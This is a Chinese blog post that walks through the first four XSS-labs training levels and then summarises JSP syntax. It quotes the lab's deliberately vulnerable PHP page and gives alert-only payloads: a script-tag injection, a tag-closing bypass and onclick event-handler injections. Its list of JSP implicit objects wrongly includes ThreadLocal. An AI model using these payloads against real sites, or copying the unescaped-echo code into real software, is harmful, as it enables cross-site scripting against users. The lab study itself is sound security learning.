XSS-labs前四关+jsp语法

本文通过实例探讨了在不同关卡中利用XSS攻击进行payload注入的过程,展示了JavaScript绕过过滤机制以及JSP(JavaServerPages)编程技术,包括JSP指令、表达式、内置对象和防御措施的运用。
摘要由CSDN通过智能技术生成

level one

观察页面源代码和关卡代码我们可以发现,第一关没有任何得过滤所以我们直接插入payload

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

name=<script>alert('XSS')</script>

level two

首先我们先尝试一下第一关的payload

我们可以发现在这里我们得<script>中的“<"">"被在转换了说明他被过滤掉了,我们可以加上">

提前闭合input标签实现绕过

"><script>alert('XSS');</script>

level three

同样还是输入上一关的代码,发现还是被转义了,所以我们可以尝试js事件来进行绕过 

'onclick ='alert(1)

level four

老样子 

我们发现这一关是“闭合,所以payload为”

"onclick="alert(1)

jsp语法

JSP(JavaServer Pages)是一种基于Java的服务器端编程技术,用于创建动态Web页面。它允许在HTML或XML页面中嵌入Java代码片段(scriptlets)、JSP动作(actions)、JSP指令(directives)、表达式(expressions)和声明(declarations)。以下是JSP的一些基本语法元素:

  1. JSP指令

    • <%@ page ... %>:定义页面依赖属性,比如脚本语言、错误页面、缓存需求等。
    • <%@ include file="relativeURL" %>:包含其他文件。
    • <%@ taglib uri="tagLibraryURI" prefix="prefix" %>:引入标签库。
  2. JSP脚本元素

    • 表达式 (<%= expression %>):将Java表达式的值插入到生成的页面中。
    • 脚本片段 (<% code %>):插入任意有效的JSP和Java代码片段。
    • 声明 (<%! declaration %>):在JSP页面中定义全局变量和方法。这些声明在JSP页面的servlet类的类定义部分。
  3. JSP内置对象

JSP提供了一些内置对象,可以在JSP页面的任何位置直接使用,无需声明。这些对象包括requestresponseoutsessionapplicationconfigpageContextpageexceptionThreadLocal
4. JSP标准标签库 (JSTL)

JSTL提供了一套自定义标签来简化JSP页面的开发。它包括了核心标签库、格式化标签库、XML标签库、SQL标签库和函数标签库等。
5. JSP动作

JSP动作用于在JSP页面中执行特定任务,比如转发请求、包含其他资源、使用JavaBean等。常见的JSP动作有<jsp:forward><jsp:include><jsp:useBean><jsp:setProperty><jsp:getProperty>等。
6. 表达式语言 (EL)

表达式语言是一种简单的语言,用于访问存储在JavaBean、HttpServletRequest、HttpSession和ServletContext等对象中的数据。EL使得JSP页面更易于阅读和维护,因为它减少了在JSP页面中的Java代码量。

例如,使用EL访问请求参数:${param.username}
7. JSP注释

* HTML注释:`<!-- comment -->`,这些注释在浏览器中可见。
* JSP注释:`<%-- comment --%>`,这些注释在浏览器中不可见,且不会被发送到客户端。

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值